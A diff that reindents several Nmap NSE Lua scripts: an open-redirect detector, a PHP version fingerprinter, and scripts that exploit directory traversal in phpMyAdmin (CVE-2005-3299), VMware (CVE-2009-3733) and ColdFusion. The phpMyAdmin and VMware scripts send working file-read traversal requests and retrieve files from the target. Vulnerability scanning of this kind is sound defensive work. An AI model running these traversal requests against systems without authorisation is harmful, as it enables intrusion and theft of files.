for _, e in ipairs(t) do
|
||||
if not stdnse.contains(filter, e) then
|
||||
result[#result + 1] = e
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
-- Split header field contents on commas and return a table without duplicates.
|
||||
function merge_headers(headers, names)
|
||||
local seen = {}
|
||||
local result = {}
|
||||
local seen = {}
|
||||
local result = {}
|
||||
|
||||
for _, name in ipairs(names) do
|
||||
name = string.lower(name)
|
||||
if headers[name] then
|
||||
for _, v in ipairs(stdnse.strsplit(",%s*", headers[name])) do
|
||||
if not seen[v] then
|
||||
result[#result + 1] = v
|
||||
end
|
||||
seen[v] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
for _, name in ipairs(names) do
|
||||
name = string.lower(name)
|
||||
if headers[name] then
|
||||
for _, v in ipairs(stdnse.strsplit(",%s*", headers[name])) do
|
||||
if not seen[v] then
|
||||
result[#result + 1] = v
|
||||
end
|
||||
seen[v] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -44,94 +44,94 @@ categories = {"discovery", "intrusive"}
|
||||
portrule = shortport.http
|
||||
|
||||
local function dbg(str,...)
|
||||
stdnse.print_debug(2,"http-open-redirect:"..str, ...)
|
||||
stdnse.print_debug(2,"http-open-redirect:"..str, ...)
|
||||
end
|
||||
local function dbgt(tbl)
|
||||
for k,v in pairs(tbl) do
|
||||
dbg(" %s = %s " , tostring(k), tostring(v))
|
||||
end
|
||||
for k,v in pairs(tbl) do
|
||||
dbg(" %s = %s " , tostring(k), tostring(v))
|
||||
end
|
||||
end
|
||||
|
||||
local function getHostPort(parsed)
|
||||
local host, port = parsed.host, parsed.port
|
||||
-- if no port was found, try to deduce it from the scheme
|
||||
if ( not(port) ) then
|
||||
port = (parsed.scheme == 'https') and 443
|
||||
port = port or ((parsed.scheme == 'http') and 80)
|
||||
end
|
||||
return host, port
|
||||
local host, port = parsed.host, parsed.port
|
||||
-- if no port was found, try to deduce it from the scheme
|
||||
if ( not(port) ) then
|
||||
port = (parsed.scheme == 'https') and 443
|
||||
port = port or ((parsed.scheme == 'http') and 80)
|
||||
end
|
||||
return host, port
|
||||
end
|
||||
|
||||
local function isRedirect(status)
|
||||
return status >= 300 and status <=399
|
||||
return status >= 300 and status <=399
|
||||
end
|
||||
|
||||
|
||||
-- This function checks if any query parameter was used as a forward destination
|
||||
-- @return false or a new query string to test
|
||||
local function checkLocationEcho(query, destination)
|
||||
dbg("checkLocationEcho(%s, %s)", tostring(query), tostring(destination))
|
||||
local q = url.parse_query(query);
|
||||
-- Check the values (and keys) and see if they are reflected in the location header
|
||||
for k,v in pairs(q) do
|
||||
local s,f = string.find(destination, v)
|
||||
if s == 1 then
|
||||
-- Build a new URL
|
||||
q[k] = "http%3A%2f%2fscanme.nmap.org%2f";
|
||||
return url.build_query(q)
|
||||
end
|
||||
end
|
||||
return false;
|
||||
dbg("checkLocationEcho(%s, %s)", tostring(query), tostring(destination))
|
||||
local q = url.parse_query(query);
|
||||
-- Check the values (and keys) and see if they are reflected in the location header
|
||||
for k,v in pairs(q) do
|
||||
local s,f = string.find(destination, v)
|
||||
if s == 1 then
|
||||
-- Build a new URL
|
||||
q[k] = "http%3A%2f%2fscanme.nmap.org%2f";
|
||||
return url.build_query(q)
|
||||
end
|
||||
end
|
||||
return false;
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME, redirect_ok = false } )
|
||||
crawler:set_timeout(10000)
|
||||
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME, redirect_ok = false } )
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
local results = {}
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
local response = r.response
|
||||
-- Was it a redirect?
|
||||
if response and response.header and response.header.location and isRedirect(response.status) then
|
||||
-- Were any parameters involved?
|
||||
local parsed = url.parse(tostring(r.url));
|
||||
local results = {}
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
local response = r.response
|
||||
-- Was it a redirect?
|
||||
if response and response.header and response.header.location and isRedirect(response.status) then
|
||||
-- Were any parameters involved?
|
||||
local parsed = url.parse(tostring(r.url));
|
||||
|
||||
-- We are only interested in links which have parameters
|
||||
if parsed.query and #parsed.query > 0 then
|
||||
-- Now we need to check if any of the parameters were echoed in the location-header
|
||||
local destination = response.header.location
|
||||
local newQuery = checkLocationEcho(parsed.query, destination)
|
||||
--dbg("newQuery: %s" , tostring(newQuery))
|
||||
if newQuery then
|
||||
local host, port = getHostPort(parsed);
|
||||
local ppath = url.parse_path(parsed.path or "")
|
||||
local url = url.build_path(ppath)
|
||||
if parsed.params then url = url .. ";" .. parsed.params end
|
||||
url = url .. "?" .. newQuery
|
||||
dbg("Checking potential open redirect: %s:%s%s", host,port,url);
|
||||
local testResponse = http.get(host, port, url);
|
||||
--dbgt(testResponse)
|
||||
if isRedirect(testResponse.status) and testResponse.header.location == "http://scanme.nmap.org/" then
|
||||
table.insert(results, ("%s://%s:%s%s"):format(parsed.scheme, host, port,url))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
-- We are only interested in links which have parameters
|
||||
if parsed.query and #parsed.query > 0 then
|
||||
-- Now we need to check if any of the parameters were echoed in the location-header
|
||||
local destination = response.header.location
|
||||
local newQuery = checkLocationEcho(parsed.query, destination)
|
||||
--dbg("newQuery: %s" , tostring(newQuery))
|
||||
if newQuery then
|
||||
local host, port = getHostPort(parsed);
|
||||
local ppath = url.parse_path(parsed.path or "")
|
||||
local url = url.build_path(ppath)
|
||||
if parsed.params then url = url .. ";" .. parsed.params end
|
||||
url = url .. "?" .. newQuery
|
||||
dbg("Checking potential open redirect: %s:%s%s", host,port,url);
|
||||
local testResponse = http.get(host, port, url);
|
||||
--dbgt(testResponse)
|
||||
if isRedirect(testResponse.status) and testResponse.header.location == "http://scanme.nmap.org/" then
|
||||
table.insert(results, ("%s://%s:%s%s"):format(parsed.scheme, host, port,url))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
if ( #results> 0 ) then
|
||||
return stdnse.format_output(true, results)
|
||||
end
|
||||
end
|
||||
if ( #results> 0 ) then
|
||||
return stdnse.format_output(true, results)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -48,100 +48,100 @@ local CREDITS_QUERY = "/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"
|
||||
-- http://seclists.org/nmap-dev/2010/q4/518
|
||||
|
||||
local LOGO_HASHES = {
|
||||
-- Bunny (Carmella)
|
||||
["37e194b799d4aaff10e39c4e3b2679a2"] = {"5.0.0 - 5.0.3"},
|
||||
-- Black Scottish Terrier (Scotch)
|
||||
["4b2c92409cf0bcf465d199e93a15ac3f"] = {"4.3.11", "4.4.0 - 4.4.9", "5.0.4 - 5.0.5", "5.1.0 - 5.1.2"},
|
||||
-- Colored
|
||||
["50caaf268b4f3d260d720a1a29c5fe21"] = {"5.1.3 - 5.1.6", "5.2.0 - 5.2.17"},
|
||||
-- PHP Code Guy With Breadsticks (Thies C. Arntzen)
|
||||
["85be3b4be7bfe839cbb3b4f2d30ff983"] = {"4.0.0 - 4.2.3"},
|
||||
-- Brown Dog In Grass (Nadia)
|
||||
["a57bd73e27be03a62dd6b3e1b537a72c"] = {"4.3.0 - 4.3.10"},
|
||||
-- Elephant
|
||||
["fb3bbd9ccc4b3d9e0b3be89c5ff98a14"] = {"5.3.0 - 5.3.18", "5.4.0 - 5.4.8"},
|
||||
-- Bunny (Carmella)
|
||||
["37e194b799d4aaff10e39c4e3b2679a2"] = {"5.0.0 - 5.0.3"},
|
||||
-- Black Scottish Terrier (Scotch)
|
||||
["4b2c92409cf0bcf465d199e93a15ac3f"] = {"4.3.11", "4.4.0 - 4.4.9", "5.0.4 - 5.0.5", "5.1.0 - 5.1.2"},
|
||||
-- Colored
|
||||
["50caaf268b4f3d260d720a1a29c5fe21"] = {"5.1.3 - 5.1.6", "5.2.0 - 5.2.17"},
|
||||
-- PHP Code Guy With Breadsticks (Thies C. Arntzen)
|
||||
["85be3b4be7bfe839cbb3b4f2d30ff983"] = {"4.0.0 - 4.2.3"},
|
||||
-- Brown Dog In Grass (Nadia)
|
||||
["a57bd73e27be03a62dd6b3e1b537a72c"] = {"4.3.0 - 4.3.10"},
|
||||
-- Elephant
|
||||
["fb3bbd9ccc4b3d9e0b3be89c5ff98a14"] = {"5.3.0 - 5.3.18", "5.4.0 - 5.4.8"},
|
||||
}
|
||||
|
||||
local CREDITS_HASHES = {
|
||||
["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"5.2.6"},
|
||||
["1ffc970c5eae684bebc0e0133c4e1f01"] = {"5.2.8"},
|
||||
["23f183b78eb4e3ba8b3df13f0a15e5de"] = {"5.3.9 - 5.3.18"},
|
||||
["2e7f5372931a7f6f86786e95871ac947"] = {"5.3.6"},
|
||||
["3422eded2fcceb3c89cabb5156b5d4e2"] = {"4.2.3"},
|
||||
["3c31e4674f42a49108b5300f8e73be26"] = {"5.0.0 - 5.0.5"},
|
||||
["50ac182f03fc56a719a41fc1786d937d"] = {"4.3.11", "4.4.0 - 4.4.4", "4.4.9", "5.0.5-2ubuntu1.1", "5.0.5-pl3-gentoo", "5.1.0 - 5.1.2"},
|
||||
["54f426521bf61f2d95c8bfaa13857c51"] = {"5.1.4", "5.2.9 - 5.2.14"},
|
||||
["5518a02af41478cfc492c930ace45ae5"] = {"5.1.0 - 5.1.1"},
|
||||
["55bc081f2d460b8e6eb326a953c0e71e"] = {"4.4.1"},
|
||||
["56f9383587ebcc94558e11ec08584f05"] = {"5.2.2"},
|
||||
["692a87ca2c51523c17f597253653c777"] = {"4.4.6-0.dotdeb.2"},
|
||||
["6a1c211f27330f1ab602c7c574f3a279"] = {"5.2.0"},
|
||||
["6be3565cdd38e717e4eb96868d9be141"] = {"5.0.5"},
|
||||
["6cb0a5ba2d88f9d6c5c9e144dd5941a6"] = {"5.1.2"},
|
||||
["744aecef04f9ed1bc39ae773c40017d1"] = {"4.0.1pl2", "4.1.2", "4.2.2"},
|
||||
["82fa2d6aa15f971f7dadefe4f2ac20e3"] = {"5.1.3 - 5.1.6"},
|
||||
["85da0a620fabe694dab1d55cbf1e24c3"] = {"5.4.0 - 5.4.7"},
|
||||
["8a4a61f60025b43f11a7c998f02b1902"] = {"4.3.4"},
|
||||
["8fbf48d5a2a64065fc26db3e890b9871"] = {"4.3.10"},
|
||||
["913ec921cf487109084a518f91e70859"] = {"4.3.2 - 4.3.3", "4.3.6", "4.3.8 - 4.3.10"},
|
||||
["adb361b9255c1e5275e5bd6e2907c5fb"] = {"5.2.15 - 5.2.17"},
|
||||
["a4c057b11fa0fba98c8e26cd7bb762a8"] = {"5.3.1 - 5.3.2"},
|
||||
["b34501471d51cebafacdd45bf2cd545d"] = {"5.3.3"},
|
||||
["bed7ceff09e9666d96fdf3518af78e0e"] = {"4.4.2 - 4.4.4"},
|
||||
["c37c96e8728dc959c55219d47f2d543f"] = {"5.2.3 - 5.2.5"},
|
||||
["d3894e19233d979db07d623f608b6ece"] = {"5.2.1"},
|
||||
["db23b07a9b426d0d033565b878b1e384"] = {"5.3.0"},
|
||||
["e3b18899d0ffdf8322ed18d7bce3c9a0"] = {"5.3.4 - 5.3.5"},
|
||||
["e54dbf41d985bfbfa316dba207ad6bce"] = {"5.0.0"},
|
||||
["ebf6d0333d67af5f80077438c45c8eaa"] = {"5.4.8"},
|
||||
["f1f1f60ac0dcd700a1ad30aa81175d34"] = {"5.3.7 - 5.3.8"},
|
||||
["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"5.2.6"},
|
||||
["1ffc970c5eae684bebc0e0133c4e1f01"] = {"5.2.8"},
|
||||
["23f183b78eb4e3ba8b3df13f0a15e5de"] = {"5.3.9 - 5.3.18"},
|
||||
["2e7f5372931a7f6f86786e95871ac947"] = {"5.3.6"},
|
||||
["3422eded2fcceb3c89cabb5156b5d4e2"] = {"4.2.3"},
|
||||
["3c31e4674f42a49108b5300f8e73be26"] = {"5.0.0 - 5.0.5"},
|
||||
["50ac182f03fc56a719a41fc1786d937d"] = {"4.3.11", "4.4.0 - 4.4.4", "4.4.9", "5.0.5-2ubuntu1.1", "5.0.5-pl3-gentoo", "5.1.0 - 5.1.2"},
|
||||
["54f426521bf61f2d95c8bfaa13857c51"] = {"5.1.4", "5.2.9 - 5.2.14"},
|
||||
["5518a02af41478cfc492c930ace45ae5"] = {"5.1.0 - 5.1.1"},
|
||||
["55bc081f2d460b8e6eb326a953c0e71e"] = {"4.4.1"},
|
||||
["56f9383587ebcc94558e11ec08584f05"] = {"5.2.2"},
|
||||
["692a87ca2c51523c17f597253653c777"] = {"4.4.6-0.dotdeb.2"},
|
||||
["6a1c211f27330f1ab602c7c574f3a279"] = {"5.2.0"},
|
||||
["6be3565cdd38e717e4eb96868d9be141"] = {"5.0.5"},
|
||||
["6cb0a5ba2d88f9d6c5c9e144dd5941a6"] = {"5.1.2"},
|
||||
["744aecef04f9ed1bc39ae773c40017d1"] = {"4.0.1pl2", "4.1.2", "4.2.2"},
|
||||
["82fa2d6aa15f971f7dadefe4f2ac20e3"] = {"5.1.3 - 5.1.6"},
|
||||
["85da0a620fabe694dab1d55cbf1e24c3"] = {"5.4.0 - 5.4.7"},
|
||||
["8a4a61f60025b43f11a7c998f02b1902"] = {"4.3.4"},
|
||||
["8fbf48d5a2a64065fc26db3e890b9871"] = {"4.3.10"},
|
||||
["913ec921cf487109084a518f91e70859"] = {"4.3.2 - 4.3.3", "4.3.6", "4.3.8 - 4.3.10"},
|
||||
["adb361b9255c1e5275e5bd6e2907c5fb"] = {"5.2.15 - 5.2.17"},
|
||||
["a4c057b11fa0fba98c8e26cd7bb762a8"] = {"5.3.1 - 5.3.2"},
|
||||
["b34501471d51cebafacdd45bf2cd545d"] = {"5.3.3"},
|
||||
["bed7ceff09e9666d96fdf3518af78e0e"] = {"4.4.2 - 4.4.4"},
|
||||
["c37c96e8728dc959c55219d47f2d543f"] = {"5.2.3 - 5.2.5"},
|
||||
["d3894e19233d979db07d623f608b6ece"] = {"5.2.1"},
|
||||
["db23b07a9b426d0d033565b878b1e384"] = {"5.3.0"},
|
||||
["e3b18899d0ffdf8322ed18d7bce3c9a0"] = {"5.3.4 - 5.3.5"},
|
||||
["e54dbf41d985bfbfa316dba207ad6bce"] = {"5.0.0"},
|
||||
["ebf6d0333d67af5f80077438c45c8eaa"] = {"5.4.8"},
|
||||
["f1f1f60ac0dcd700a1ad30aa81175d34"] = {"5.3.7 - 5.3.8"},
|
||||
}
|
||||
|
||||
action = function(host, port)
|
||||
local response
|
||||
local logo_versions, credits_versions
|
||||
local logo_hash, credits_hash
|
||||
local header_name, header_value
|
||||
local lines
|
||||
local response
|
||||
local logo_versions, credits_versions
|
||||
local logo_hash, credits_hash
|
||||
local header_name, header_value
|
||||
local lines
|
||||
|
||||
-- 1st pass : the "special" PHP-logo test
|
||||
response = http.get(host, port, LOGO_QUERY)
|
||||
if response.body and response.status == 200 then
|
||||
logo_hash = stdnse.tohex(openssl.md5(response.body))
|
||||
logo_versions = LOGO_HASHES[logo_hash]
|
||||
end
|
||||
-- 1st pass : the "special" PHP-logo test
|
||||
response = http.get(host, port, LOGO_QUERY)
|
||||
if response.body and response.status == 200 then
|
||||
logo_hash = stdnse.tohex(openssl.md5(response.body))
|
||||
logo_versions = LOGO_HASHES[logo_hash]
|
||||
end
|
||||
|
||||
-- 2nd pass : the PHP-credits test
|
||||
response = http.get(host, port, CREDITS_QUERY)
|
||||
if response.body and response.status == 200 then
|
||||
credits_hash = stdnse.tohex(openssl.md5(response.body))
|
||||
credits_versions = CREDITS_HASHES[credits_hash]
|
||||
end
|
||||
-- 2nd pass : the PHP-credits test
|
||||
response = http.get(host, port, CREDITS_QUERY)
|
||||
if response.body and response.status == 200 then
|
||||
credits_hash = stdnse.tohex(openssl.md5(response.body))
|
||||
credits_versions = CREDITS_HASHES[credits_hash]
|
||||
end
|
||||
|
||||
for name, value in pairs(response.header) do
|
||||
if string.match(value, "^PHP/") then
|
||||
header_name = name
|
||||
header_value = value
|
||||
break
|
||||
end
|
||||
end
|
||||
for name, value in pairs(response.header) do
|
||||
if string.match(value, "^PHP/") then
|
||||
header_name = name
|
||||
header_value = value
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
lines = {}
|
||||
if logo_versions then
|
||||
lines[#lines + 1] = "Versions from logo query (less accurate): " .. stdnse.strjoin(", ", logo_versions)
|
||||
elseif logo_hash and nmap.verbosity() >= 2 then
|
||||
lines[#lines + 1] = "Logo query returned unknown hash " .. logo_hash
|
||||
end
|
||||
if credits_versions then
|
||||
lines[#lines + 1] = "Versions from credits query (more accurate): " .. stdnse.strjoin(", ", credits_versions)
|
||||
elseif credits_hash and nmap.verbosity() >= 2 then
|
||||
lines[#lines + 1] = "Credits query returned unknown hash " .. credits_hash
|
||||
end
|
||||
if header_name and header_value then
|
||||
lines[#lines + 1] = "Version from header " .. header_name .. ": " .. header_value
|
||||
end
|
||||
lines = {}
|
||||
if logo_versions then
|
||||
lines[#lines + 1] = "Versions from logo query (less accurate): " .. stdnse.strjoin(", ", logo_versions)
|
||||
elseif logo_hash and nmap.verbosity() >= 2 then
|
||||
lines[#lines + 1] = "Logo query returned unknown hash " .. logo_hash
|
||||
end
|
||||
if credits_versions then
|
||||
lines[#lines + 1] = "Versions from credits query (more accurate): " .. stdnse.strjoin(", ", credits_versions)
|
||||
elseif credits_hash and nmap.verbosity() >= 2 then
|
||||
lines[#lines + 1] = "Credits query returned unknown hash " .. credits_hash
|
||||
end
|
||||
if header_name and header_value then
|
||||
lines[#lines + 1] = "Version from header " .. header_name .. ": " .. header_value
|
||||
end
|
||||
|
||||
if #lines > 0 then
|
||||
return stdnse.strjoin("\n", lines)
|
||||
end
|
||||
if #lines > 0 then
|
||||
return stdnse.strjoin("\n", lines)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -94,49 +94,49 @@ local DEFAULT_DIR = "/phpMyAdmin-2.6.4-pl1/"
|
||||
local EXPLOIT_PATH = "libraries/grab_globals.lib.php"
|
||||
|
||||
action = function(host, port)
|
||||
local dir = stdnse.get_script_args("http-phpmyadmin-dir-traversal.dir") or DEFAULT_DIR
|
||||
local evil_uri = dir..EXPLOIT_PATH
|
||||
local rfile = stdnse.get_script_args("http-phpmyadmin-dir-traversal.file") or DEFAULT_FILE
|
||||
local evil_postdata = EXPLOIT_QUERY:format(rfile)
|
||||
local filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile")
|
||||
stdnse.print_debug(1, "%s: HTTP POST %s%s", SCRIPT_NAME, stdnse.get_hostname(host), evil_uri)
|
||||
stdnse.print_debug(1, "%s: POST DATA %s", SCRIPT_NAME, evil_postdata)
|
||||
local dir = stdnse.get_script_args("http-phpmyadmin-dir-traversal.dir") or DEFAULT_DIR
|
||||
local evil_uri = dir..EXPLOIT_PATH
|
||||
local rfile = stdnse.get_script_args("http-phpmyadmin-dir-traversal.file") or DEFAULT_FILE
|
||||
local evil_postdata = EXPLOIT_QUERY:format(rfile)
|
||||
local filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile")
|
||||
stdnse.print_debug(1, "%s: HTTP POST %s%s", SCRIPT_NAME, stdnse.get_hostname(host), evil_uri)
|
||||
stdnse.print_debug(1, "%s: POST DATA %s", SCRIPT_NAME, evil_postdata)
|
||||
|
||||
local vuln = {
|
||||
title = 'phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion',
|
||||
IDS = {CVE = 'CVE-2005-3299'},
|
||||
state = vulns.STATE.NOT_VULN,
|
||||
description =
|
||||
[[PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
|
||||
]],
|
||||
references = {
|
||||
'http://www.exploit-db.com/exploits/1244/',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2005', month = '10', dat = '10'},
|
||||
},
|
||||
}
|
||||
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
local vuln = {
|
||||
title = 'phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion',
|
||||
IDS = {CVE = 'CVE-2005-3299'},
|
||||
state = vulns.STATE.NOT_VULN,
|
||||
description =
|
||||
[[PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
|
||||
]],
|
||||
references = {
|
||||
'http://www.exploit-db.com/exploits/1244/',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2005', month = '10', dat = '10'},
|
||||
},
|
||||
}
|
||||
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
|
||||
local response = http.post(host, port, evil_uri,
|
||||
{header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata)
|
||||
if response.body and response.status==200 then
|
||||
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
|
||||
vuln.state = vulns.STATE.EXPLOIT
|
||||
vuln.extra_info = rfile.." :\n"..response.body
|
||||
if filewrite then
|
||||
local status, err = write_file(filewrite, response.body)
|
||||
if status then
|
||||
vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite)
|
||||
else
|
||||
vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err)
|
||||
end
|
||||
end
|
||||
elseif response.status==500 then
|
||||
vuln.state = vulns.STATE.LIKELY_VULN
|
||||
stdnse.print_debug(1, "%s:[Error] File not found:%s", SCRIPT_NAME, rfile)
|
||||
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
|
||||
vuln.extra_info = string.format("%s not found.\n", rfile)
|
||||
end
|
||||
return vuln_report:make_output(vuln)
|
||||
local response = http.post(host, port, evil_uri,
|
||||
{header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata)
|
||||
if response.body and response.status==200 then
|
||||
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
|
||||
vuln.state = vulns.STATE.EXPLOIT
|
||||
vuln.extra_info = rfile.." :\n"..response.body
|
||||
if filewrite then
|
||||
local status, err = write_file(filewrite, response.body)
|
||||
if status then
|
||||
vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite)
|
||||
else
|
||||
vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err)
|
||||
end
|
||||
end
|
||||
elseif response.status==500 then
|
||||
vuln.state = vulns.STATE.LIKELY_VULN
|
||||
stdnse.print_debug(1, "%s:[Error] File not found:%s", SCRIPT_NAME, rfile)
|
||||
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
|
||||
vuln.extra_info = string.format("%s not found.\n", rfile)
|
||||
end
|
||||
return vuln_report:make_output(vuln)
|
||||
end
|
||||
|
||||
@@ -35,45 +35,45 @@ categories = {"vuln", "safe"}
|
||||
portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"})
|
||||
|
||||
local function get_file(host, port, path)
|
||||
local file
|
||||
local file
|
||||
|
||||
-- Replace spaces in the path with %20
|
||||
path = string.gsub(path, " ", "%%20")
|
||||
-- Replace spaces in the path with %20
|
||||
path = string.gsub(path, " ", "%%20")
|
||||
|
||||
-- Try both ../ and %2E%2E/
|
||||
file = "/sdk/../../../../../../" .. path
|
||||
-- Try both ../ and %2E%2E/
|
||||
file = "/sdk/../../../../../../" .. path
|
||||
|
||||
local result = http.get( host, port, file)
|
||||
if(result['status'] ~= 200 or result['content-length'] == 0) then
|
||||
file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path
|
||||
result = http.get( host, port, file)
|
||||
local result = http.get( host, port, file)
|
||||
if(result['status'] ~= 200 or result['content-length'] == 0) then
|
||||
file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path
|
||||
result = http.get( host, port, file)
|
||||
|
||||
if(result['status'] ~= 200 or result['content-length'] == 0) then
|
||||
return false, "Couldn't download file: " .. path
|
||||
end
|
||||
end
|
||||
if(result['status'] ~= 200 or result['content-length'] == 0) then
|
||||
return false, "Couldn't download file: " .. path
|
||||
end
|
||||
end
|
||||
|
||||
return true, result.body, file
|
||||
return true, result.body, file
|
||||
end
|
||||
|
||||
local function fake_xml_parse(str, tag)
|
||||
local result = {}
|
||||
local index, tag_start, tag_end
|
||||
local result = {}
|
||||
local index, tag_start, tag_end
|
||||
|
||||
-- Lowercase the 'body' we're searching
|
||||
local lc = string.lower(str)
|
||||
-- Lowrcase the tag
|
||||
tag = string.lower(tag)
|
||||
-- Lowercase the 'body' we're searching
|
||||
local lc = string.lower(str)
|
||||
-- Lowrcase the tag
|
||||
tag = string.lower(tag)
|
||||
|
||||
-- This loop does some ugly pattern-based xml parsing
|
||||
index, tag_start = string.find(lc, "<" .. tag .. ">")
|
||||
while index do
|
||||
tag_end, index = string.find(lc, "</" .. tag .. ">", index)
|
||||
table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase
|
||||
index, tag_start = string.find(lc, "<" .. tag .. ">", index)
|
||||
end
|
||||
-- This loop does some ugly pattern-based xml parsing
|
||||
index, tag_start = string.find(lc, "<" .. tag .. ">")
|
||||
while index do
|
||||
tag_end, index = string.find(lc, "</" .. tag .. ">", index)
|
||||
table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase
|
||||
index, tag_start = string.find(lc, "<" .. tag .. ">", index)
|
||||
end
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
--local function parse_vmware_conf(str, field)
|
||||
@@ -91,51 +91,51 @@ end
|
||||
--end
|
||||
|
||||
local function go(host, port)
|
||||
local result, body
|
||||
local files
|
||||
local result, body
|
||||
local files
|
||||
|
||||
-- Try to download the file
|
||||
result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml");
|
||||
-- It failed -- probably not vulnerable
|
||||
if(not(result)) then
|
||||
return false, "Couldn't download file: " .. body
|
||||
end
|
||||
-- Try to download the file
|
||||
result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml");
|
||||
-- It failed -- probably not vulnerable
|
||||
if(not(result)) then
|
||||
return false, "Couldn't download file: " .. body
|
||||
end
|
||||
|
||||
-- Check if the file contains the proper XML
|
||||
if(string.find(string.lower(body), "configroot") == nil) then
|
||||
return false, "Server didn't return XML -- likely not vulnerable."
|
||||
end
|
||||
-- Check if the file contains the proper XML
|
||||
if(string.find(string.lower(body), "configroot") == nil) then
|
||||
return false, "Server didn't return XML -- likely not vulnerable."
|
||||
end
|
||||
|
||||
files = fake_xml_parse(body, "vmxcfgpath")
|
||||
files = fake_xml_parse(body, "vmxcfgpath")
|
||||
|
||||
if(#files == 0) then
|
||||
return true, {"No VMs appear to be installed"}
|
||||
end
|
||||
if(#files == 0) then
|
||||
return true, {"No VMs appear to be installed"}
|
||||
end
|
||||
|
||||
-- Process each of the .vmx files if verbosity is on
|
||||
-- if(nmap.verbosity() > 1) then
|
||||
-- local result, file = get_file(host, port, files[1])
|
||||
--io.write(nsedebug.tostr(file))
|
||||
-- end
|
||||
-- Process each of the .vmx files if verbosity is on
|
||||
--if(nmap.verbosity() > 1) then
|
||||
-- local result, file = get_file(host, port, files[1])
|
||||
-- io.write(nsedebug.tostr(file))
|
||||
--end
|
||||
|
||||
return true, files
|
||||
return true, files
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
-- Try a standard ../ path
|
||||
local status, result = go(host, port)
|
||||
-- Try a standard ../ path
|
||||
local status, result = go(host, port)
|
||||
|
||||
if(not(status)) then
|
||||
return nil
|
||||
end
|
||||
if(not(status)) then
|
||||
return nil
|
||||
end
|
||||
|
||||
local response = {}
|
||||
table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE")
|
||||
local response = {}
|
||||
table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE")
|
||||
|
||||
if(nmap.verbosity() > 1) then
|
||||
table.insert(response, result)
|
||||
end
|
||||
if(nmap.verbosity() > 1) then
|
||||
table.insert(response, result)
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, response)
|
||||
return stdnse.format_output(true, response)
|
||||
end
|
||||
|
||||
|
||||
@@ -60,80 +60,80 @@ portrule = shortport.http
|
||||
action = function(host, port)
|
||||
|
||||
local vuln = {
|
||||
title = 'Adobe ColdFusion Directory Traversal Vulnerability',
|
||||
state = vulns.STATE.NOT_VULN, -- default
|
||||
IDS = {CVE = 'CVE-2010-2861', OSVDB = '67047'},
|
||||
description = [[
|
||||
title = 'Adobe ColdFusion Directory Traversal Vulnerability',
|
||||
state = vulns.STATE.NOT_VULN, -- default
|
||||
IDS = {CVE = 'CVE-2010-2861', OSVDB = '67047'},
|
||||
